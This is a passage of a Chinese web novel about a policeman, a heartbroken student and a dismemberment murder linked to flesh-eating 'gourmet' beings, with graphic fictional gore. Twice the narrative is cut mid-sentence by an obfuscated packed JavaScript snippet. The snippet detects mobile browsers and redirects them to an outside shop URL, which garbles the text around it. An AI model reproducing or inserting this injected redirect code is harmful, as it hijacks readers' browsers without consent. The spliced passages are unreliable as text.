“是的。” “很久了吧。” “是的……” “唉,”公冶不兴再看尹长辈没心没肺地逗猫了,“那来找我干嘛,我和你们非亲非故。” “怎么会,”寇栗思虑再三,说,“渡莲,主席想见你。” “和红鸽扯上关系,我这身警服还穿不穿了?” “但你答应了叶穿林吧,他给你开条件了?” “我什么时候答应过他,这是开条件的问题吗?” “行,你有的你原则,不提条件,叶穿林是不是用邓烟雨威胁你了?” “……” 一针见血。 公冶笑了:“尹理事让你来说的?” “不是,是我自己,我只求了尹理事,让我跟你单独叙旧,”寇栗低头,“我希望你能听一听……” 公冶:“你们遇到威胁了?” “是江盛二人,他们很早就在组织里搞内乱,如今一半旧部下跟着白老爷子,其余骨干加上新成员,都在以江邂月和盛夺为首的‘江盛党’那边,我们这虽然有两位理事掌控全局,但情况依旧不利。” 寇栗垂下眼睫,沉声说:“他们和南陆来往密切,可红鸽组织建立的初衷只是找到灯芯。” 落叶被风带走了,公冶的目光追了过去:“你见过灯芯吗?” “没见过。” “我也没见过,这东西到底存不存在都未知。” “那也要去找,国家不都在找吗?难道你甘心一辈子背负异类的身份活下去吗?” 公冶神色凝重,并未正面回答,只是说:“既然如此,江盛党不会让你们太轻松的。” 寇栗点头:“我怀疑他们背后还有一股力量。” 公冶望向逗猫逗得起劲的尹离舟:“二位理事清楚么?” 寇栗困扰地摇了摇头:“背后那位藏太深了,连白主席也没给说法,尹理事比较佛系不想管,基本上是谈理事一手包揽在查。” 公冶竟对尹离舟心生一丝敬佩——他倒是个不怕死的角色。 “他也太云淡风轻了,”公冶说,“既然那么重视你,为何连你哥哥都不管?” “我哥哥?”寇栗说,“他在独玉分所,我一直找机会想救他出来,可独玉分所是江盛党的地盘,顾令萍不肯松口,”她叹了口气,眼底化开了恨意,“当年若不是叶穿林按了警铃,我哥也能和我们一块逃出去了……” 公冶一度怀疑自己记忆错乱了:“寇杰在独玉分所?” “是啊,”寇栗茫然地眨眼,“你想说什么?” “我在地下乐园看到他了。” 尹离舟被野猫拉了一手背,三道爪痕触目惊心,他甩了甩手,和骂骂咧咧溜回草丛的野猫说了声再见,另一头陡然爆出声:“不可能!” 他偏过头,见寇栗一下子站起来:“顾令萍答应我,不会伤害我哥,看在尹理事的份上她也不能这么做!” “你和顾令萍何时见过面?” “大概,大概三四年前,卡萨集团的周年庆典上,我被她认出来了,但她知道我跟着尹理事,当面没有为难我,后来我得知我哥还活着,拜托尹理事帮忙去要人,可没要出来,我便私下去求了她,她不肯放人,但说会照看好我哥,不会把他送走的……” 公冶听得不痛快:“顾令萍虽然给红鸽办事,但与你们对立,并不需要尊重你的意见,而且尹离舟去要人都没要出来,可见她也不用照顾尹离舟的心情,有江盛党给她撑腰,得罪你们便得罪了。” 寇栗不能够相信,气得站不稳,眼眶里掉出了泪:“她骗我……” 话音未落,她的肩膀被一人安稳抚上。尹离舟过来了,神容冷峻,周身弥漫着低气压。 他冷冰冰开口:“江邂月干的?” “应该不是,”公冶说,“我见到时他已经发病了,江邂月在隔壁厅喝酒,没去主宴厅,多半是客人们起哄注射了药剂。” 尹离舟揽过寇栗,说:“那也算江邂月干的,至于顾令萍,我会处理掉。” 公冶眼神变了:“你能处理?” “你说呢,”尹离舟轻浮地一笑,“我对女人向来仁慈,给了她一次机会她不珍惜,那么我也不会再客气。” “但愿你能做到,”他们算账的方式真是太奇怪了,公冶懒得细想,拿上邓烟雨忘在一边的冰淇淋盒子,起身说,“我走了。” “莲!”寇栗抬起哭红的眼,“你考虑一下……” 公冶把冰淇淋丢进垃圾桶,没回应,正要迈步离开,后头响起一声:“我女人让你考虑一下,听见没,臭小子!” 公冶郁闷地扭头,被尹离舟盯得心底发毛,只好勉为其难说:“听见了!” “他听见了,”尹离舟温和地望下来,安慰着寇栗,“别哭了,我会亲手给你哥报仇。” “对不起。” “没必要和我道歉,”尹离舟说,“我知道你会和他坦白,不过你也履行了对我的承诺,克丽丝托,你很棒。” “为什么,”寇栗去看他,“为什么不让我告诉他,邓烟雨其实会遇到很大的危险,她极有可能是……” “那也是以后的事,眼下并不确定。” “即便如此,她也无法置身事外了,江盛党绝对会赖皮蛇一样缠上她的。” “先观望吧,小姑娘大三了,学业要紧,别让她分心。” 寇栗怔怔的。 尹离舟轻笑:“而且,两个人刚刚谈崩,现在告诉渡莲,邓烟雨和他一样没退路了,你说他会怎么想?” 寇栗眨了眨湿眸,说:“那不就是你口中说的‘苦命鸳鸯’,可以双宿双飞了吗?” “哈哈哈哈。” “你笑什么?” “原来爱情在你眼里这般简单,”尹离舟宠溺地揉揉她脑袋,把她柔顺的直发揉乱了,“愿你永远怀揣着这份纯真,克丽丝托。” 公冶才走出城市阳台,星月已被浓云彻底遮住,风也刮猛了。 看来要下一场大雨了。 不出意外,夜里果然下起了冷雨,淅淅沥沥持续到周一上午。 蔡蔡甩掉伞上的雨珠,没精打采跨进教室,一边坐下一边打了个长长的含泪的哈欠:“我恨早八我恨早八,我要化作厉鬼索老天爷的命……” “说到厉鬼,”庆威凤缓慢转头,“我们身边好像就有一个。” 邓烟雨头发没梳,顶着两颗红肿的眼泡儿,女鬼似的幽幽落了座。 “烟雨,你还好吗?” “我没事。” “你……约会不顺利么?” 邓烟雨掏书的手一顿,然后淡然说道:“我被拒绝了。” 静了三秒,庆威凤和蔡蔡同时尖叫:“你被甩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579321|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ??!!” 教室里的人纷纷回头,看向她们。 “你们再喊得响一点,”邓烟雨朝她们凄惨一笑,“传达室保安大爷都要知道了。” “对不起对不起……”庆威凤拽过邓烟雨,“可是为啥啊,诶,怎么会,什么情况,他怎么会拒绝你?” “就说……不合适。” “啊?!”蔡蔡气得头顶冒青烟,“不合适?不合适?!啊这,这什么狗男人啊,和你暧昧了……我数数……暧昧了五个月!结果你鼓起勇气告白他就吃干抹净不认账把你踹了?!” 邓烟雨极力辩解:“没有吃干……也不是踹……” 蔡蔡根本没在听:“渣男!百分百渣男!我要揍他!” 庆威凤:“可他长得很好看。” “那也要揍!浪费烟雨的时间和精力,警察怎么了,警察也要揍!” 庆威凤:“那就袭警了。” “袭警就袭警,他难道觉得自己做得很对吗!” “不是的,”邓烟雨拉住快要抄家伙冲出去的蔡蔡,“他也有苦衷的,不是他的问题。” 庆威凤摸摸她的头:“没事的烟雨,失个恋嘛,有啥大不了的,咱们还能再失他个千八百回,次数多了就习惯了。” 蔡蔡细品道:“你这安慰的也不对味啊。” “额,那个……我们以后再找个帅的,比他更帅!就算没他帅,也要比他温柔比他体贴!三条腿的蛤ma难找,两条腿的男人还找不到吗!我们缺他那点职业滤镜吗,以后警察在老娘这儿就没滤镜!都是猴子,猴子!” 邓烟雨受不了了,抱住她俩大哭:“可他对我来说,就和三条腿的蛤ma一样珍贵啊——” “……” “……” 女生们都安静了。 蔡蔡纳闷地挠头:“这是什么奇特的比喻?哎总之别不开心啦,晚上我们去K歌吧,好久没唱卡拉OK了。” “好呀好呀,正好烟雨失恋了,唱唱歌发泄一下。” “我不太想唱……” 但没人管邓烟雨想不想唱,庆威凤最近迷上一个男团,新专辑的歌全学会了,不唱个昏天黑地誓不罢休。 也好,去狠狠发泄一通,回来后就专心学习备考,让自己忙起来,别再去想他了。 庆威凤双手飞快打字:“那我和姑姑说你不去面包店兼职了噢。” “我要去的。” “啊?可你打工不就是给他买礼物吗,都闹掰了还买啥?” “我们还是朋友啊,”邓烟雨有理有据,“送朋友生日礼物,很正常。” 庆威凤倒吸凉气:“你一个大学生送朋友几千块的生日礼物很正常??”蔡蔡摇头:“你要有祁宴一天之内给八个女生清空购物车的能力再说吧。” 邓烟雨翻开课本,掌心由下往上摁了摁书脊:“我想找点事情做,这个月最好不要空下来。” “好好好,找点事做也行,你开心就好。” 教授来了,邓烟雨坐端正,拍了拍自己的脸,这次她认真听课了。 周二下午,她去了那家面包店。店面开在星湖区建设东路上,离公冶的小区仅隔一条街。 邓烟雨推开门,手制的铜鱼风铃叮当摇响,店内烘焙香气馥郁,一个扎马尾辫的女人端着盘子正往展柜里摆放新鲜出炉的面包。 她是庆威凤的姑姑,叫淑芬,邓烟雨才来一个小时,产品都没记全,淑芬已把她的底儿摸了个一干二透。 “年轻真好,想当年姑姑我也有一段刻骨铭心的爱恋啊……”淑芬四十五度仰望天花板,“可我怀了以后,那狗男人立马翻脸,还说自己是丁克。” “好狠的人啊,”邓烟雨揪心地问着,“后来呢?” “后来?”淑芬微微一笑,“后来我就让他永远丁克了,毕竟深爱过,当然要达成他的心愿。” 邓烟雨背后发寒:“哇哈,姑姑您真是……年轻无极限啊。” “嗐,多少年前的事了,好汉不提当年勇。” 邓烟雨没想到来卖个面包,还能取到不少江湖上的真经。晚上九点快打烊了,顾客群里有个老熟客要了两个芋泥大鼓,她家就在后面的小区,淑芬等等下班顺路给她送去。剩下的面包不多,淑芬让邓烟雨带走几个爱吃的,其余的按照往常捐给福利机构。 这时风铃一响,准备关掉收银机的邓烟雨闻声抬头,看见一名男子走了进来。 69. 命案 漆黑的皮鞋步入室内,寒气裹挟着银线般的雨丝飘来,打湿了门口。 他似乎刚下班,右手提着公文包,因为皮肤白皙,即便穿了一身黑,也像一抹光撞进了邓烟雨的眼底。 几乎在刹那间,邓烟雨把他看成了公冶渡莲,可并不是,他们从相貌到气质完全不一样,此人商务打扮,气息更柔和。 男子往这走来,速度不快,举手投足都有一种无可挑剔的涵养存在,暖黄吊灯照耀下,他大衣肩处折射出一小片碎闪,近看才知是雨珠。 和他转过来的沉静眼眸对视片刻,邓烟雨似梦初觉,说:“不好意思,我们打烊了。” 男子浅笑:“我知道。史小姐不在吗?” 史小姐? 邓烟雨记得脚踝摔伤的店员也不姓史,正要问个详细,面包房里炸出一声响亮的狮吼:“庆云今!你喊谁史小姐呢!” 淑芬随手甩了两包垃圾,啪一下推门而出:“越发没时间概念了,怎么这个点才来,去哪野了?” “没野,交流会刚结束。”他正经地回答,有一副好嗓子。 淑芬板着脸觑这小子,不搭理他,转头和邓烟雨介绍:“他是小凤哥哥。” 邓烟雨之前听说过,冲他礼貌地一点头:“你好。” “你好。”庆云今再次将目光投向她——方才隔着段距离,只觉得她站在收银机后面显得格外娇小柔弱,如今仔细看过,倒认为是自己眼拙了。 他还注意到,女孩的围裙上戴了枚珐琅彩胸针,样式新颖少见,是朵青白色的莲花,因采用抛光工艺而散发着宝石光泽,干干净净一枝,缀在心前。 庆云今收回视线,不免怅然。他了解他妹什么德性,干点事三天打鱼两天晒网,撂担子撂得那叫一个快,不知从哪抓来那么乖的小绵羊。 邓烟雨也在端详他。她对庆云今的印象是忙碌的证券公司高管,视时间为金钱走路都快马加鞭,不料本人比想象中温雅矜贵许多。 “你是替小凤来帮忙的?” “是的。” “我妹妹自小娇惯坏了,她若是有难为你的地方,你可以和淑芬姑姑说,不必勉强。” “没事没事,我是自愿来的,最近也在找兼职,听威凤说了面包店的事就想着来打打下手。” 淑芬一脸慈母笑:“烟雨来了我就可以安心管着里面了,挺好的,小凤成天到晚盯手机,顾客问她她都不吱声,只顾着在那看短视频乐呵……”淑芬嫌弃地摆摆手,又提醒道,“烟雨你别对他太好了,兄妹两个都不是省油的灯,尤其这个大的,当骡子使唤就成,啊。” 邓烟雨:“……”可不敢。 庆云今被当众奚落也不辩驳,只是缓和气氛地笑笑,感受到邓烟雨的视线停留在自己身上,便问:“小凤是不是背地里骂我来着?” 冷不防被他一点,邓烟雨脱口而出:“没有啊,她夸你了。” 庆云今眼中闪过丝诧异:“她还会夸我,能具体说说么?” “夸你……”邓烟雨绞尽脑汁,憋出四个字,“工作出色……” “我怎么不信呢。” 淑芬关了设备过来撵他:“跟你客气两句你还当真了,赶紧走走走,别妨碍我下班。” “史小姐,你态度有点问题。” 邓烟雨好奇地问了句:“为什么要叫史小姐?” 庆云今乐此不疲地解释:“因为她特爱八卦,像个间谍到处搜罗家族里谁谁离婚谁谁二婚,所以我们给她取了个外号叫史密斯芬……” “庆云今你给我爬!爬出去!!” “我买个面包,姑。” “不卖!” “你轰客人,我明天就上消费者协会投诉……” “你敢?!” “给我把伞,外头下雨了。” “门口自己领!” 庆云今讨好一句,淑芬反杀一句,姑侄俩活像对现世宝,一个愿打一个愿挨闹到了门口,邓烟雨关掉电源拎着垃圾出来时,庆云今已经走了。 “哎呀,应该让你们加个联系方式来着。” “啊?” “他投资顾问,你大三了如果要出去实习,有啥不懂的可以问问他。” “没关系,我能靠自己。” “哈哈,姑喜欢你这话!来垃圾给我,我去扔,”淑芬一看手机,“哟,这么晚了,我还得给梅梅送面包,烟雨你没带伞回家行吗?对了……” 邓烟雨预感到大事不妙,只见淑芬吸了口气,朝着走到马路对面的某位顾问发出召唤:“云今啊——!” 庆云今被这一声加强版河东狮吼震得脚底发麻,回了头。 “来送一送烟雨!”淑芬爽快地挥手,“快去吧,他等你呢。” 邓烟雨只得硬着头皮穿过斑马线,庆云今一直等在那,她小跑过去,稍微欠了欠身:“不好意思麻烦你了,我到地铁站就可以了。” 庆云今朝她颌首,并没有心情不好,把伞斜过去,柔声说:“走吧。” 去地铁站的路不长,也就五分钟左右,但下着雨,路面比较湿滑,他们便放慢了脚步。庆云今和她聊了会儿天,其实他工作一天非常累了,不过考虑到身旁女孩会不自在,于是主动开了口,邓烟雨不健谈,他也配合着回应,没让话题掉下去冷场。漫无目的聊到了名字上,他说:“你母亲很会给你取名。” 邓烟雨认为他直觉敏锐,会猜出来:“怎么说?” “是取自《青花瓷》的歌词吗,天青色等烟雨那一句。” “是的,”第一次有人发现她名字上的小秘密,邓烟雨捏紧帆布袋,有点惭愧地笑了,“就是个小小的谐音……” 庆云今也笑了,夸赞道:“是很美好的谐音。” 到地铁站口,庆云今把伞收拢,递给邓烟雨。 “那你呢?” “我家就在前面,不需要了,你出站口还要走一段路,一会儿雨会下大,拿着吧。” 邓烟雨接过伞:“谢谢你,那我先走了,再见。” “再见。” 她乘自动扶梯下去,过了安检,继续往下走,恰好一班地铁来了,她进去坐在空旷的车厢里,叹气的同时也卸下了满身的疲惫。 今天上完课直奔面包店,忙到晚上九点多,回去只剩洗漱的时间。一天就这么看似充实、实则空虚地过掉了。 她无法想象现在的上班族九九六有多累,对他们而言假期是多么宝贵。 邓烟雨盯着墙上的PIS小电视,心想他这会儿在干嘛呢,又加班吗? 地铁开动了,她抱着帆布包感受着一阵顺滑地移动,拿出手机,翻到公冶的微信,他们的对话暂停在上周六,仅简短两句—— 【我到家了】 【好的】 邓烟雨尽量不去戳开他的头像,她怕手抖不小心“拍了拍”,那就真的要钻地缝里了。退出聊天框,她习惯性去摸胸口,毛衣上没有任何东西。 愣了几秒,她像一根拔出土的萝卜猛跳起来。 胸针没有了! 她摸遍全身上下,转了一圈,座椅底下,周围地面都看了,再手忙脚乱翻找帆布包,把所有东西倒出来铺在椅子上,打开雨伞抖了抖,哪里都寻遍了,就是没有。 那枚胸针是定制的,挺贵,她干活时总忍不住摸一摸,确保它在。 下班前她确定从围裙上取了下来,重新戴回自己衣服上,可能扣的时候没对准凹槽,松动以后掉了。 …… 没了。 弄丢了。 心情都没发生太大起落,邓烟雨像触了个闷雷,死气沉沉坐下了。报站提示音无波无澜回响着,另一节车厢有人起身离开。 为什么,只要和他有关的,她总是会不经意地遗失呢? 没钱再去定制一枚工艺那么好的专属胸针,目前攒的钱要给他买礼物。 本想回公寓看一章注会教材精讲,可丢失的胸针把她身上所剩无几的动力也一并带走了,她感觉自己的生命力在流失,干什么都提不起劲。 明早还有重要的课,必须早起。 邓烟雨黯然神伤靠着扶手,手机弹出新闻快讯,她麻木地点进去浏览,眉端轻微一蹙。 来的不算好消息,是今天爆出来的一宗震惊全市的碎尸案,全网讨论热度甚至盖过耗资百亿建成的双紫星大楼,今早上课,邓烟雨还听到后座同学七嘴八舌地讨论—— 抛尸地点在勤俭路145号东宝银行新桥支行,当时离早晨八点差五分,银行卷帘门才拉起一半,已有性急的大爷大妈争抢着往里钻了。一个快迟到的员工走了隔壁24小时自助银行的小门,身后突然响起摩托炸街的轰鸣声,她回头一瞧发现单位门口被人扔了一只黑色大塑料袋,像专门用来装现金的那种袋子。 大爷大妈也不着急取钱了,都去看那只塑料袋,袋子没打死结,一个胆大的上手拆开一看,先是呆住,然后凑近闻一闻,扒拉一下,接着嗷一嗓子昏了过去。 “啥呀这……这啥啊!娘呀这是啥啊啊啊啊啊————!!” 一阿姨没当回事,以为是剁碎的猪肉,从里面捏出一只蹄子,看清后,吓得像只老母鸡在尖叫飞舞,她扔掉了那玩意儿—— 啪的一声,一只烧熟的人手正正掉在那名迟到员工的面前。 八点整,在防盗卷帘门准时拉起的暴躁声响中,支行大门口瘫了一群惊厥哭叫以及不省人事的老年人,里面刚开完晨会的员工被门口的骚动引了出来,还发现了倒在ATM机门边吓到腿软的同事。 没等分局出警,最近的派出所已火速赶来封锁现场,但看热闹的人太多,更有甚者录了视频,银行门前窄,群众都围到马路上造成了交通堵塞,交警和防暴队过来轰人,警戒线也往外拽了几十米,特发科小组抵达时,技术警察正蹲在那儿用镊子拨着袋子里面的冷货。肉没处理干净,有几块比较完整,像是搞一半懒得搞了,把刚肢解好的拿去冻住便算了事。头颅也在,并且在肉块底部意外发现钱包驾驶证等私人物品,证件字迹几乎被血染黑。 死者身份晚上就鉴定出来了,姓名裴远航,男,现年三十三岁,未婚,是东宝银行新桥支行的理财经理,他从上周起就在休年假,周一本该来上班的。 确实来了,只来了“一部分”。 那辆无牌摩托在监控录像下开到玉坊河堤岸边直接一丢不管了,抛尸男子头盔戴得严实,对那一带监控也熟悉,哪有死角盲区均知道,大摇大摆进了公厕就再没从正门出来过。 车子提回了局里,这拉风的肉包铁违法改装过,擦得锃亮,没留下指纹,查出来车主是祁宴,天色未暗,大少爷就得了当头一棒,被请走了。 “说几遍了,我车丢了,我哪知道被拉去干什么了!” “啥时候丢的?不知道不知道!我哪有空记这个!” 哥们心大,爱车丢好久了,失窃也没报,按他的话来说,他有一车库水鸟不缺这一台,报警纯是找堵。至于案子,暂无其他线索能指向他,且根据法医初步推断的死亡时间,案发时祁宴破天荒待在家里,有完美的不在场证明。 这段时间,祁家全力筹备着双紫星摩天大楼的开幕仪式,集团上下都在高度紧张,连条狗也不准出去偷腥败德,得知儿子牵扯进一桩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579322|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凶杀重案,祁泰急得血压都没量,直奔公安局,当天就把这丢人现眼的孽障毫发无损捞了出来。 期间警方走访了死者交际圈,包括案发周边的店铺也摸排了一遍,下午玉坊河先取得进展,有目击者称看到头盔男朝金钗旧巷的方向走了,他趁没人把头盔的挡风镜片掀了上去,一闪而过的眼睛是绿的。 至此,案件疑似和“美袭”有挂钩,从分局移交给了市局。 路法医一整天没闲下来吃口饭,夜深人静总算得空,叫了汉堡外卖,让吐得脸色铁青的徒弟给解剖台上那坨零零散散拼好的小可爱盖上了白布。 板烧鸡腿堡特别香,汁水也多,路法医大口大口满足地嚼着肉,双目紧盯白布下微微隆起的“人”。 凶手处理尸体的整套流程非常粗糙,一大袋子肉,生的熟的半生不熟的,都有,她相当怀疑藏尸的冰箱制冷效果有问题,所有的肉在尴尬的温度里贮存了五六天,导致味道也发出来了,尤其解冻后的内脏,简直是细菌天然发酵的温床,要是再臭些倒好,现在解剖室弥漫着一股淡淡的持久的介于新鲜与腐烂之间的奇妙气味,反而让她浑身不自在。 蒋淮没来找她,看来是绊住了。此案作案手法拙劣,还带了点挑衅意味,凶手并不打算隐瞒被害者身份,而且剩余的人体组织仍未找到。 那些肉会去哪?是被藏起来了?丢了? 抑或吃了? 嚼碎的板烧鸡腿混合生菜的清新,沙拉酱的甜滑,咽入了喉咙。 一旦上升成美袭案,不说案件性质改变,危险系数必定得拉满了,再冠上碎尸的名头,至少需要配备两名公美从旁协助侦查才行。 “小孙啊,”路法医朝水池边哇哇咳嗽的孩子喊道,“跟蒋淮说,GS挖两个人来,近期不能还的,让老熊自己做好分配!” 小孙应不出声,他警院临时派来的新手,这股尸臭后劲大,他没适应。 “跟着我,你算有福了,”路法医津津有味啃着辣翅,“哎,白天银行门口摔了七八个老骨头,都吓得眼珠子插天了居然一口没吐,这说明什么,说明长辈们社会阅历丰富,啥场面都见过,你啊就是缺乏经验,多看看就没事了。” …… “老人情况怎么样?” “万幸,命都保住了。唉真是……一大把年纪了,见了这倒霉东西,真够遭罪的。” 夜里,市局一楼灯火通明,刑侦部门开会中。 金钗旧巷的道路监控抓到了头盔男掀镜片的画面,有了这双眼睛,警方通过虹膜识别从全国虹膜身份信息数据库里精准核出他的真实身份及犯罪前科。此人名叫梁大谷,三十七岁,家住春日区金钗子弄,有盗窃、贩毒前科,身份也不是美食家,他故意戴了绿色美瞳,扰乱公安侦办方向。 协查通报一把贴了出去,警力也以金钗子弄为轴心撒出大网,但由于梁大谷之前的贩毒对象多是美食家,这案子依然和美袭脱不了干系。 会议开展得不顺利,梁大谷不一定是凶手,却是关键,必须找到他。听着大伙众说纷纭,始终保持沉默的蒋淮开口了:“能确定是美袭案件吗?” 刑警说:“不确定,人为或美袭皆有可能,但有一点,迄今为止我们经手的美袭案里,没有哪个美食家犯罪后会对尸体进行肢解烹煮处理。” “总有开先例的。” 此话一出,人们不由得绷紧了弦。 对啊,谁说美食家非要吃生肉的?这世上变态可不少。 一名老刑侦从皱巴巴的烟盒里敲出一根烟,说:“都问过了?” “清醒的老人问过了,他们不是裴远航名下客户,平常不找他办业务,没能提供有价值的线索,”沈鸣的徒弟贺开宇打起精神汇报着,“死者3号至5号请了年假,2号是他最后一天上班,当天夜里便遇害,我们从他钱包里找到了博山图书馆的借阅卡,也问过他同事,裴远航会保持一周去一次图书馆的习惯,基本固定在周二晚上,我认为2号当晚他很有可能去过博山,有必要核实一下。” 蒋淮嗯了声:“网点2号的监控录像调来了吗?” “有了,我放出来,”贺开宇快速点着鼠标准备投屏,又补充道,“受惊吓住院的老人里有一个是裴远航的客户,目前处于昏迷中,医院说问题不大,过两天应该能醒,到时候我再去走一趟。” 蒋淮叩叩桌子:“GS怎么说?” 大家面面相觑,最后目光齐齐落在新来的美女副支队长庄鹭身上。庄鹭泰然自若靠着椅背,委婉地说:“应该在讨论吧。说来也巧,今早八点左右总部一个小组在附近执勤,案发后和春日分所的三小组一块去了现场。” “哦,总部去的是哪组?” “……我不太清楚,要问过熊队。” 空气在逐渐拉长的死寂里无声无息凝固了,蒋淮的手离开桌面,冷漠缓慢地扫视在场每个人,须臾,他毫无情绪地笑了一声。 这一笑,吓得所有如坐针毡的小辈更加屁股着火,挺直了腰板。 “那他们在搞什么鬼,为什么一个公美都不来?” “是要我请吗?” “像请祁宴那样,请他们来吗?” 一字一顿,杀人诛心。 办公室鸦雀无声,众人难捱地压低了呼吸,不慎出现的按笔声尤为清晰,有几个学警快被气氛击垮了,像被皇帝满门抄斩一样,抿紧唇听候发落。 蒋淮深深叹出一口气,撑起结实宽大的背,皮笑肉不笑:“很好,都集体养鱼不想干了,敢在我眼皮底下玩忽职守。” 他仁至义尽,破口喝斥道:“让出现场的公美赶紧滚过来!!” 70. 训斥 晚上八点,GS总部。 机器运作的白噪声回响在不大的私人体检室里,朗玉山眉峰紧锁,盯着电脑屏幕里一条下滑的线,良久面色沉重地叹道:“不乐观啊。” 检查完所有项目的公冶穿着白衬衫从更衣室里出来:“有问题?” “你来看。” 他心跳沉了一拍,系好最后一颗扣子,慢慢走过去,便听白大褂死神补充了两个字:“跌了。” 电脑上,赫然放着张股市图。 身后安静数秒,朗玉山转过椅子:“你是不是翻我白眼了?” 公冶早就走开了,背对着他穿上了警服,整理袖口:“没有。” 有句话说股市是经济的晴雨表,今年双紫星都盖起来了,朗玉山想不通为什么在大环境变好的趋势下自己依旧能绿得冒油。 公冶站在桌前边找东西边说:“你不是有内幕么,前年遇上‘黑天鹅’,行情那么差都赚了七十万。” “哎呀,那又不是我。” “不是你啊?” “是我朋友的一个朋友,专职在家炒股,勾勾手指钱就飞来了。” “真好,我也想靠这个发财。” 朗玉山淡淡一笑,望着他频繁打药剂而瘦了一圈的肩背,说:“你指标控在正常范围内,不要太担心自己身体,有任何问题我们会帮你摆平。” “我知道,您也不要再熬夜做实验。” “我哪有。” “昨天凌晨四点实验室灯还亮着。” “噢噢,那也不是我,我三点就走了,是小马,他384孔板加样加一半眼睛花了,不知道滴到第几排了只能重来。” 公冶的手明显一顿,用不可置信的眼神望向朗玉山:“太惨了吧,难怪今天一整天没见到小马哥。” “所以啊——”朗玉山晃了晃指头,“以后别动辄生病受伤,也别躺着板子来见我,更不必端茶倒水孝敬我们,爱惜自己生命,照顾好自己身体,吃嘛嘛香比什么都强,尤其是你,小八,我都不想说你了——” “哎真是,不要内涵我了好吗,耳朵都要起茧子了……”公冶从凌乱的桌上翻出一份细胞免疫检查报告,右上角一寸照是个可爱的小男孩,“小可的身体最重要,您好好治疗他,我也会常来看的。” 房间空气偏冷,角落的净化器亮着一格灯,这样的环境反倒有助于提神。朗玉山手里有个捏捏蛇玩具,小绿蛇胖得像只吃撑的鳄鱼,一捏它肚子就会吐出红舌头,是小可心心念念求朗玉山买来的。 “小可吗……”朗玉山童心未泯,一下一下捏着玩具,看着舌头吐出缩回十分有趣,捏着捏着,他眼底的笑意湿了,“唉,我快没信心了。” 公冶眼眸一凛,转向他。 向来对自己专业技能绝无二话的朗院长静静坐在那,像被一件微不足道的小事打败了。 房间里再无第三人,他才敢道出口。 “靠您研制的仿造肉也无法维持?” “仿造肉营养价值跟不上,治标不治本,假设一个身体健康的美食家从成年起只吃仿造肉或人造血,数据给出的答案是活不过二十八岁,何况小可才七岁。” 朗玉山用掌心按压着眼睛,样子似乎很困苦,灯光照得太亮,出卖了他额边一缕没藏住的白发:“他过敏原太致命了,肉是一点沾不得,我已经开始对孩子禁肉,市面上的镇血剂和毒药没区别,我们内部研发的也不够纯,会加重他的排斥反应,只能注射新鲜的人血,稳定在0.8至2克间。” “现在隔多久注射一次?” “半个月。” “半个月?”公冶皱眉,“间隔太长了,而且这点剂量等于没摄入,小可撑得住?” “不能给他太多血,每次注射引起的排斥反应会随着时间推移愈演愈烈,我不敢采取激进疗法,目前保守治疗已是极限。孩子快到发育阶段,往后情况会更糟糕。” 全是噩耗,公冶听得精神恍惚,低下了头。 “别不开心了,小可百年后还要娶小爱呢,我会想办法的,”朗玉山丢他一包冻干水果,“吃点吧,我知道你吃不下,但多少还是吃点吧。” 他撕开包装,咬了一块冻干草莓,味同嚼蜡。 今夜难得无事可做,公冶从一大堆写满英文的报告单下挖出了朗院长丢失已久的老人牌MP4,插了一只耳机听起了歌。 门外进来另一个穿白大褂的年轻男子,是朗玉山同事小马:“阿朗,我要去趟实验室,借你钥匙……哟影青,你也在啊。” 公冶点点头:“来朗爸爸这蹭吃的。” 小马亲切笑道:“蝶衣和斗香把冰箱造空了?” “是啊,熊队快养不起我们了。” “哈哈哈哈,饭量大是福气,瞧你瘦的,真要多吃点,多吃长身体。” 公冶略微弯唇——这话曾在哪里听到过。 “对了,小可前面读童话故事,把自己哭得稀里哗啦的,我看他是害怕了想找你聊天,但憋着不说,你要不去哄哄他?” “好的,”公冶今晚不准备回家,他吃完零食,扯下听歌的耳机线,步履悠闲往外走,旁边就是楼梯,“他今天犯困次数不多吧?” “不多的,这几天状况挺好,还发小脾气呢。”小马倚在文件柜旁,顺手接过朗玉山递来的钥匙,见朗玉山泡了壶新茶,坐过去讨了一盏。 下一秒—— 噔噔噔噔噔! 公冶像被猛鬼追了一样,从二楼十万火急飞跑下来,两位皆惊到了,双双起立看向门口:“怎么了?” 他差点跑过头,一把抓住门框,满脸惊魂未定,千言万语涌到嘴边,最终精简地总结成一句:“我忘记去刑侦支队开会了。” 料峭春寒随风渗来,俩老人傻呆呆地瞅着他,五秒过后,啪——装茶叶的铝箔袋从朗玉山手中滑落掉地。 这句话很好理解,但小马反应了半天:“啊?开会?什、什么会?” 朗玉山愕然地张嘴:“东行碎尸案吗?这案子我记得是由二组负责,咋变成你了?暮火呢?” 小马懵了:“这案子不归给分局的吗?” 朗玉山:“因为和美袭有挂钩,移交给隔壁了。” 小马脸色白了,震惊地啊了一声:“这样啊,那……那个,青啊,这案子和你没关系,暮火会去的,你不用瞎操心。” “本来是暮火去的,但下午他和我说家里有急事必须要请假,让我顶替他和隔壁对接,庄姐前面发我消息说开案情分析会……结果我一忙给忘了。” 朗玉山:“……” 小马:“……” “怎么办,”公冶丢了魂似的茫然,“蒋队会杀了我的。” “这年纪轻轻记性比我还差……”小马恨铁不成钢地指他,“这种事怎么能忘?!还不快去!” 公冶拔腿便跑。 